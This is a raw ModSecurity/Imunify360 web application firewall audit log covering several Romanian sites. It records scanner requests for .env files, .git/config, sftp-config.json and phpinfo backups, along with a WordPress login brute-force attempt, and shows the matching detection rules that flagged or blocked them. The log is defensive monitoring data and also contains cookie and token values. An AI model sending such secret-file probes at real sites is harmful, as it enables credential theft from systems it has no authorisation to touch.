Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/development/.env"] [unique_id "aqYMimM7dE9KgIIOpQheBgAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267082951344 131755 (- - -)
Stopwatch2: 1789267082951344 131755; combined=5041, p1=432, p2=4542, p3=0, p4=0, p5=66, sr=191, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1f52d37a-Z--
--ec692d5a-A--
[13/Sep/2026:05:38:05.185352 +0300] aqYMjUwu1RSkptiiNIXt1AAAAIs 34.175.231.24 47708 127.0.0.1 7081
--ec692d5a-B--
GET /production/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--ec692d5a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ec692d5a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/production/.env"] [unique_id "aqYMjUwu1RSkptiiNIXt1AAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267085063655 121763 (- - -)
Stopwatch2: 1789267085063655 121763; combined=4660, p1=388, p2=4196, p3=0, p4=0, p5=76, sr=160, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ec692d5a-Z--
--84f1dd00-A--
[13/Sep/2026:05:38:07.405715 +0300] aqYMj2M7dE9KgIIOpQheBwAAAMI 34.175.231.24 42518 127.0.0.1 7081
--84f1dd00-B--
GET /config/app/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--84f1dd00-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--84f1dd00-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/config/app/.env"] [unique_id "aqYMj2M7dE9KgIIOpQheBwAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267087283983 121810 (- - -)
Stopwatch2: 1789267087283983 121810; combined=4783, p1=275, p2=4411, p3=0, p4=0, p5=97, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--84f1dd00-Z--
--d23aed6b-A--
[13/Sep/2026:05:39:31.468235 +0300] aqYM4ysVWymXUono-eRQwQAAAAA 34.175.231.24 53184 127.0.0.1 7081
--d23aed6b-B--
GET /phpinfo.php~ HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--d23aed6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d23aed6b-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:phpinfo.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:phpinfo.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/phpinfo.php~"] [unique_id "aqYM4ysVWymXUono-eRQwQAAAAA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267171346371 121920 (- - -)
Stopwatch2: 1789267171346371 121920; combined=4827, p1=276, p2=4467, p3=0, p4=0, p5=83, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d23aed6b-Z--
--9805e620-A--
[13/Sep/2026:05:40:35.991219 +0300] aqYNI2M7dE9KgIIOpQheOwAAAME 66.249.69.192 42432 127.0.0.1 7081
--9805e620-B--
POST /navigation_times HTTP/1.1
Host: ihelp.ro
X-Real-IP: 66.249.69.192
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 416
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
Cookie: cto_bundle=2UXEaV83SDVzSU43YVVtT0MlMkZPcW1zNmhtTDBZblBRM096NXhyJTJCS1NDNlNoN01wMXBCaWZWYU1MdElhWXVqb2UlMkZSb0FMZnl5a3NYUkhPVjFyMlNHT014azdMMjhCdXpyMVhpd2YxZ29XTURhUlFFUWtneTZnVmhqVXolMkZMQkxTYjRZUWFlY3Y1VE4zUjh6WEo2eTZCdnVYb3JhQSUzRCUzRA
Origin: https://ihelp.ro
Referer: https://ihelp.ro/?artikel=kacang99
X-Booking-CSRF: XJvXaAAAAAA=CX4s0D3iyg_iRUuMf2iAsA1zXpCWWartikelymbBvzH2ABQjTszO3mfTCYHHUwSJCfLs6ukyO3JHkVWlP_MW02hTuSsNl1-Ru8GTcV_Y4CC0qmOXJl6Fdl-0tPC8r8z6HBK1fIFuAnDquEPeMiNr2jwIC4paXij0E9cBqLmEYbe9YAN1ZjwZtIOctNDR7sMeXwVN0I6spkMtq322zhFeC
Accept: */*
From: googlebot(at)googlebot.com
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.7977.82 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept-Encoding: gzip, deflate, br
--9805e620-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 52e5c234-b4b0-43fb-84ac-c357c4aca38c
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9805e620-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267235834036 157262 (- - -)
Stopwatch2: 1789267235834036 157262; combined=5351, p1=302, p2=4795, p3=0, p4=0, p5=254, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--9805e620-Z--
--392ee870-A--
[13/Sep/2026:05:52:11.235159 +0300] aqYP20wu1RSkptiiNIXuFAAAAJM 20.14.73.46 57918 127.0.0.1 7081
--392ee870-B--
GET /owa/auth/logon.aspx HTTP/1.1
Host: default-81-180-250-39
X-Real-IP: 20.14.73.46
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */*
Accept-Encoding: gzip
--392ee870-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--392ee870-E--
--392ee870-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: redirect-handler
Stopwatch: 1789267931224102 11129 (- - -)
Stopwatch2: 1789267931224102 11129; combined=5482, p1=1277, p2=3775, p3=66, p4=7, p5=357, sr=549, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--392ee870-Z--
--6a24c117-A--
[13/Sep/2026:05:52:20.528423 +0300] aqYP5Ewu1RSkptiiNIXuFwAAAJg 109.175.96.16 49762 127.0.0.1 7081
--6a24c117-B--
POST /wp-login.php HTTP/1.1
Host: ajutam.ro
X-Real-IP: 109.175.96.16
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
Pragma: no-cache
Origin: https://ajutam.ro
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ajutam.ro/wp-login.php
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ru-RU,ru;q=0.9
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_test_cookie=WP+Cookie+check
Priority: u=0, i
Upgrade-Insecure-Requests: 1
--6a24c117-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 01 May 2020 21:00:27 GMT
ETag: "31b-5a49c787f10c0"
Accept-Ranges: bytes
Content-Length: 795
Content-Type: text/html
--6a24c117-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:05-52.109.175.96.16"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789267940336165 192366 (- - -)
Stopwatch2: 1789267940336165 192366; combined=189778, p1=375, p2=188638, p3=0, p4=0, p5=558, sr=121, sw=207, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6a24c117-Z--
--cc42b154-A--
[13/Sep/2026:06:06:31.372344 +0300] aqYTN2M7dE9KgIIOpQhe6QAAANU 89.39.7.190 45088 127.0.0.1 7081
--cc42b154-B--
POST /wp-cron.php?doing_wp_cron=1789268791.2901599407196044921875 HTTP/1.1
Host: ajutam.ro
X-Real-IP: 89.39.7.190
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 0
User-Agent: WordPress/6.9.7; https://ajutam.ro
Accept: */*
Accept-Encoding: deflate, gzip, br
Content-Type: application/x-www-form-urlencoded
--cc42b154-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Content-Length: 0
Content-Type: text/html; charset=UTF-8
--cc42b154-E--
--cc42b154-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:doing_wp_cron=1789268791.2901599407196044921875& P: F:||T:APACHE||R:200"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=4324, p1=296, p2=3779, p3=236, p4=13, p5=0, sr=133, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=4324, p1=296, p2=3779, p3=236, p4=13, p5=0, sr=133, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/wp-cron.php"] [unique_id "aqYTN2M7dE9KgIIOpQhe6QAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789268791346752 25652 (- - -)
Stopwatch2: 1789268791346752 25652; combined=11356, p1=296, p2=3779, p3=236, p4=13, p5=7032, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cc42b154-Z--
--6ec53810-A--
[13/Sep/2026:06:06:53.519642 +0300] aqYTTWM7dE9KgIIOpQhe6wAAANY 66.249.69.192 54460 127.0.0.1 7081
--6ec53810-B--
POST /navigation_times HTTP/1.1
Host: ihelp.ro
X-Real-IP: 66.249.69.192
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 416
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
Cookie: cto_bundle=2UXEaV83SDVzSU43YVVtT0MlMkZPcW1zNmhtTDBZblBRM096NXhyJTJCS1NDNlNoN01wMXBCaWZWYU1MdElhWXVqb2UlMkZSb0FMZnl5a3NYUkhPVjFyMlNHT014azdMMjhCdXpyMVhpd2YxZ29XTURhUlFFUWtneTZnVmhqVXolMkZMQkxTYjRZUWFlY3Y1VE4zUjh6WEo2eTZCdnVYb3JhQSUzRCUzRA
Origin: https://ihelp.ro
Referer: https://ihelp.ro/?artikel=togelhimalaya4d
X-Booking-CSRF: XJvXaAAAAAA=CX4s0D3iyg_iRUuMf2iAsA1zXpCWWartikelymbBvzH2ABQjTszO3mfTCYHHUwSJCfLs6ukyO3JHkVWlP_MW02hTuSsNl1-Ru8GTcV_Y4CC0qmOXJl6Fdl-0tPC8r8z6HBK1fIFuAnDquEPeMiNr2jwIC4paXij0E9cBqLmEYbe9YAN1ZjwZtIOctNDR7sMeXwVN0I6spkMtq322zhFeC
Accept: */*
From: googlebot(at)googlebot.com
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.7977.82 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept-Encoding: gzip, deflate, br
--6ec53810-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 4ed954cf-1be7-4fa9-91a6-3304a75be0ba
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6ec53810-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789268813346385 173333 (- - -)
Stopwatch2: 1789268813346385 173333; combined=6483, p1=396, p2=5737, p3=0, p4=0, p5=349, sr=164, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--6ec53810-Z--
--fabeb509-A--
[13/Sep/2026:06:18:21.248270 +0300] aqYV-WM7dE9KgIIOpQhfQAAAAMk 172.86.81.83 49604 127.0.0.1 7081
--fabeb509-B--
GET /.git/config HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 172.86.81.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip
--fabeb509-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--fabeb509-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYV-WM7dE9KgIIOpQhfQAAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYV-WM7dE9KgIIOpQhfQAAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYV-WM7dE9KgIIOpQhfQAAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789269501035597 212726 (- - -)
Stopwatch2: 1789269501035597 212726; combined=39348, p1=1001, p2=38259, p3=0, p4=0, p5=88, sr=155, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fabeb509-Z--
--6e199037-A--
[13/Sep/2026:06:23:19.084008 +0300] aqYXJjTJ6xTvcJoem7f12gAAAEs 185.55.243.172 49236 127.0.0.1 7081
--6e199037-B--
GET /sftp-config.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
--6e199037-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6e199037-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqYXJjTJ6xTvcJoem7f12gAAAEs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqYXJjTJ6xTvcJoem7f12gAAAEs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789269798979290 104770 (- - -)
Stopwatch2: 1789269798979290 104770; combined=5217, p1=265, p2=4817, p3=0, p4=0, p5=134, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e199037-Z--
--2664953d-A--
[13/Sep/2026:06:23:19.308571 +0300] aqYXJ2M7dE9KgIIOpQhfUwAAAMU 185.55.243.172 49240 127.0.0.1 7081
--2664953d-B--
GET /sftp-config.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
--2664953d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2664953d-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqYXJ2M7dE9KgIIOpQhfUwAAAMU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqYXJ2M7dE9KgIIOpQhfUwAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789269799222669 85975 (- - -)
Stopwatch2: 1789269799222669 85975; combined=3857, p1=217, p2=3560, p3=0, p4=0, p5=79, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2664953d-Z--
--7de5d008-A--
[13/Sep/2026:06:23:19.451303 +0300] aqYXJ2M7dE9KgIIOpQhfVAAAANM 185.55.243.172 49242 127.0.0.1 7081
--7de5d008-B--
GET /.vscode/sftp.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
--7de5d008-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7de5d008-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
